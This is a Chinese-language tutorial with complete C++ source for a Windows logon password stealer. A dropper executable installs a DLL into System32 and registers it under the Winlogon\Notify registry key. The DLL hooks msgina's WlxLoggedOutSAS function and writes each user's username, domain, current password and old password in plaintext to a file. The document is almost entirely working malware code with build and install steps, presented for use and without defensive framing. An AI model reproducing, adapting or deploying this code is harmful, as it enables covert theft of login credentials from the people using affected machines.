實現步驟:
1. 生成GetInfo.dll
2. 將生成的GetInfo.dll作爲資源放到GetPwd工程中
3. 生成GetInfo.exe
4. 運行GetInfo.exe install
5. 重啓機器,輸入密碼,進入系統後會得到C:\WINDOWS\System32\getPwdout.txt文件,文件內容爲:
實現原理:
將GetInfo.dll,放在WinLogon\Notify註冊表下時,系統啓動後會自動加載GetInfo.dll,而GetInfo.dll在加載時會HOOK掉WlxLoggedOutSAS,系統登錄時winlogon會加載WlxLoggedOutSAS函數,這個函數輸出值中有
PWLX_MPR_NOTIFY_INFO
結構,其中就存儲了用戶名和密碼。winlogon在登錄時會調用這個函數,我們HOOK掉了這個函數,所以就能拿到登錄的用戶名和密碼了。。
GetInfo.dll的實現
// GetInfo.cpp : Defines the entry point for the DLL application.
//
#include "stdafx.h"
#include "GetInfo.h"
#include <stdio.h>
#include <fstream.h>
#include <iostream.h>
//using namespace std;
//宏定義
#define WLX_SAS_ACTION_LOGON (1)
//WLX_MPR_NOTIFY_INFO結構
typedef struct _WLX_MPR_NOTIFY_INFO {
PWSTR pszUserName;
PWSTR pszDomain;
PWSTR pszPassword;
PWSTR pszOldPassword;
} WLX_MPR_NOTIFY_INFO, *PWLX_MPR_NOTIFY_INFO;
//函數原形
typedef int (WINAPI* WlxLoggedOutSAS)(
PVOID pWlxContext,
DWORD dwSasType,
PLUID pAuthenticationId,
PSID pLogonSid,
PDWORD pdwOptions,
PHANDLE phToken,
PWLX_MPR_NOTIFY_INFO pNprNotifyInfo,
PVOID *pProfile
);
//自定義接管的API函數,形參保持一致
int WINAPI FunNewADDR(
PVOID pWlxContext,
DWORD dwSasType,
PLUID pAuthenticationId,
PSID pLogonSid,
PDWORD pdwOptions,
PHANDLE phToken,
PWLX_MPR_NOTIFY_INFO pNprNotifyInfo,
PVOID *pProfile
);
//定義字節對齊方式
#pragma pack(1)
struct HookTable{
HMODULE hMsgina;
WlxLoggedOutSAS OldADDR;
WlxLoggedOutSAS NewADDR;
unsigned char charOldCode[6];
unsigned char charJmpCode[6];
};
//全局hook表
HookTable hooktable = {
0,
0,
&FunNewADDR,
"\x8b\xff\x55\x8B\xEC",
"\xE9\x00\x00\x00\x00"
};
#pragma pack()
//////////////////////////////////////////////////////////////////////////
/////函數聲明
///////////////////////////////////////////////////////////////////////////
VOID UnHookWlxLoggedOutSAS();
VOID WriteLog(PWLX_MPR_NOTIFY_INFO pNprNotifyInfo);
DWORD WINAPI StartHook(LPVOID lpParam);
VOID HookWlxLoggedOutSAS();
int WINAPI FunNewADDR(
PVOID pWlxContext,
DWORD dwSasType,
PLUID pAuthenticationId,
PSID pLogonSid,
PDWORD pdwOptions,
PHANDLE phToken,
PWLX_MPR_NOTIFY_INFO pNprNotifyInfo,
PVOID *pProfile
)
/************************************************************************/
/* 函數說明:自定義函數,用來取代WlxLoggedOutSAS */
/* 參數:與WlxLoggedOutSAS參數相同 */
/* 返回值:與WlxLoggedOutSAS返回值相同 */
/************************************************************************/
{
UnHookWlxLoggedOutSAS();
int i = hooktable.OldADDR(pWlxContext, dwSasType, pAuthenticationId, pLogonSid, pdwOptions, phToken, pNprNotifyInfo,pProfile);
if (i == WLX_SAS_ACTION_LOGON)
{
WriteLog(pNprNotifyInfo);
}
return i;
}
VOID WriteLog(PWLX_MPR_NOTIFY_INFO pNprNotifyInfo)
/************************************************************************/
/* 函數說明:將得到的用戶名和密碼信息寫入%system%/getPwdout.txt文件中 */
/* 參數:pNprNotifyInfo 包含用戶名和密碼的結構體 */
/* 返回值:無 */
/************************************************************************/
{
char szSystemDir[MAX_PATH] = {0};
GetSystemDirectory(szSystemDir, MAX_PATH - 1 );
char szFilePath[MAX_PATH] = {0};
strcat(szFilePath, szSystemDir);
strcat(szFilePath, "\\getPwdout.txt");
ofstream outfile;
outfile.open(szFilePath);
char szContent[1024 * 4] = {0};
sprintf(szContent, "username:%ws\nDomain:%ws\npassword:%ws\nOldPassword:%ws\n\n", pNprNotifyInfo->pszUserName, pNprNotifyInfo->pszDomain, pNprNotifyInfo->pszPassword, pNprNotifyInfo->pszOldPassword);
outfile.write(szContent, strlen(szContent));
outfile.close();
}
VOID HookWlxLoggedOutSAS()
/************************************************************************/
/* 函數說明:HOOK WlxLoggedOutSAS函數 */
/* 參數:無 */
/* 返回值:無 */
/************************************************************************/
{
DWORD OldProcte;
VirtualProtect(hooktable.OldADDR, 5, PAGE_EXECUTE_READWRITE, &OldProcte);
unsigned char *p = (unsigned char*)hooktable.OldADDR;
for (int i=0; i < 5; i++)
{
p[i] = hooktable.charJmpCode[i];
}
VirtualProtect(hooktable.OldADDR, 5, OldProcte, &OldProcte);
return;
}
VOID UnHookWlxLoggedOutSAS()
/************************************************************************/
/* 函數說明:恢復WlxLoggedOutSAS函數的原形 */
/* 參數:無 */
/* 返回值:無 */
/************************************************************************/
{
DWORD OldProcte;
VirtualProtect(hooktable.OldADDR, 5, PAGE_EXECUTE_READWRITE, &OldProcte);
unsigned char *p = (unsigned char*)hooktable.OldADDR;
for (int i=0; i < 5; i++)
{
p[i] = hooktable.charOldCode[i];
}
VirtualProtect(hooktable.OldADDR, 5, OldProcte, &OldProcte);
return;
}
DWORD WINAPI StartHook(LPVOID lpParam)
/************************************************************************/
/* 函數說明:得到WlxLoggedOutSAS函數地址,並HOOK WlxLoggedOutSAS函數 */
/* 參數:無 */
/* 返回值:0表示成功 */
/************************************************************************/
{
//得到msgina.dll
//hooktable.hMsgina
int n = 0;
hooktable.hMsgina = LoadLibrary("msgina.dll");
n = GetLastError();
if (NULL == hooktable.hMsgina)
{
printf("getmoduleHandle msgina.dll error");
return -1;
}
//得到WlxLoggedOutSAS
hooktable.OldADDR = (WlxLoggedOutSAS)GetProcAddress(hooktable.hMsgina, "WlxLoggedOutSAS");
if (NULL == hooktable.OldADDR)
{
printf("GetProcAddress WlxLoggedOutSAS error");
return -1;
}
int *OpCode = (int*)&hooktable.charJmpCode[1];
int Code = (int)hooktable.NewADDR - (int)hooktable.OldADDR -5;
*OpCode = Code;
HookWlxLoggedOutSAS();
return 0;
}
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
/************************************************************************/
/* 函數說明:DLL的主函數 */
/* 參數: */
/* 返回值: */
/************************************************************************/
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
//::CreateThread(NULL, 0, StartHook, NULL, 0, NULL);
StartHook(NULL);
}
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
// This is the constructor of a class that has been exported.
// see GetInfo.h for the class definition
CGetInfo::CGetInfo()
{
return;
}
extern "C" __declspec(dllexport) void start()
{
return;
}
外殼工程:
// getpwd.cpp : Defines the entry point for the console application.
//
#include "afx.h"
#include <Windows.h>
#include "resource.h"
#include <Winerror.h>
#include <Shlwapi.h>
#pragma comment(lib, "Shlwapi.lib")
LPBYTE CString_To_LPBYTE(CString str)
/************************************************************************/
/* 函數說明:將cstring類型轉換成LPBYTE類型 */
/* 參數:str 要轉換的CString類型 */
/* 返回值:LPBYTE 轉換後的LPBYTE類型 */
/************************************************************************/
{
LPBYTE lpb=new BYTE[str.GetLength()+1];
for(int i=0;i<str.GetLength();i++)
lpb[i]=str[i];
lpb[str.GetLength()]=0;
return lpb;
}
BOOL install()
/************************************************************************/
/* 函數說明:釋放DLL,並將DLL的路徑寫入到註冊表中 */
/* 參數:無 */
/* 返回值:無 */
/************************************************************************/
{
//釋放資源
//定位我們的自定義資源,這裏因爲我們是從本模塊定位資源,所以將句柄簡單地置爲NULL即可
HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(IDR_IDR_DLL1), TEXT("IDR_DLL"));
if (NULL == hRsrc)
return FALSE;
//獲取資源的大小
DWORD dwSize = SizeofResource(NULL, hRsrc);
if (0 == dwSize)
return FALSE;
//加載資源
HGLOBAL hGlobal = LoadResource(NULL, hRsrc);
if (NULL == hGlobal)
return FALSE;
//鎖定資源
LPVOID pBuffer = LockResource(hGlobal);
if (NULL == pBuffer)
return FALSE;
char szSystemDir[MAX_PATH] = {0};
GetSystemDirectory(szSystemDir, MAX_PATH-1);
char szRelDll[MAX_PATH] = {0};
strcat(szRelDll, szSystemDir);
strcat(szRelDll, "\\GetInfo.dll");
DeleteFile(szRelDll);
HANDLE hFile = CreateFile(szRelDll, FILE_GENERIC_READ|FILE_GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (NULL == hFile)
{
return FALSE;
}
DWORD dwWritten;
WriteFile(hFile, pBuffer, dwSize, &dwWritten, NULL);
CloseHandle(hFile);
FreeResource(hGlobal);
//將釋放的DLL寫入到註冊 表的WINLOGON下,當WINLOGON啓動時,會加載這個DLL
CString strDllPath = szRelDll; //("dog");
//設置有關的數據
//CString_To_LPBYTE,請參考下面的函數
LPBYTE dllpath_Set=CString_To_LPBYTE(strDllPath);//定義用戶姓名 owner_Set
DWORD type_1=REG_SZ;//定義數據類型
DWORD cbData_1=strDllPath.GetLength()+1;//定義數據長度
DWORD status = SHSetValue(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\GetPwd\\", "dllname", type_1, dllpath_Set, cbData_1);
if (ERROR_SUCCESS != status)
{
printf("write reg:dllname error");
return FALSE;
}
CString strStartUp("dog");
LPBYTE startup_set=CString_To_LPBYTE(strStartUp);//定義公司名稱 company_Set
DWORD type_2=REG_SZ;//定義數據類型
DWORD cbData_2=strStartUp.GetLength()+1;//定義數據長度
status = SHSetValue(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Notify\\GetPwd\\", "startup", type_2, startup_set, cbData_2);
if (ERROR_SUCCESS != status)
{
printf("write reg:dllname error");
return FALSE;
}
return TRUE;
}
BOOL decry()
/************************************************************************/
/* 函數說明:用於解密生成的密碼文件,生成密碼文件時沒有加密,所以這裏沒實現*/
/* 參數:無 */
/* 返回值:無 */
/************************************************************************/
{
return TRUE;
}
VOID usage()
/************************************************************************/
/* 函數說明:打印使用幫助 */
/* 參數:無 */
/* 返回值:無 */
/************************************************************************/
{
printf("************************************\n");
printf("usages:\n");
printf("getpwd.exe install\n");
printf("getpwd.exe decryp\n");
printf("************************************\n");
}
int main(int argc, char* argv[])
/************************************************************************/
/* 函數說明:Main函數 */
/* 參數:無 */
/* 返回值:無 */
/************************************************************************/
{
if (argc != 2)
{
usage();
return -1;
}
if (stricmp(argv[1], "install") == 0)
{
install();
getchar();
return 0;
}
else if (stricmp(argv[1], "decryp") == 0)
{
decry();
return 0;
}
else
{
usage();
return 0;
}
return 0;
}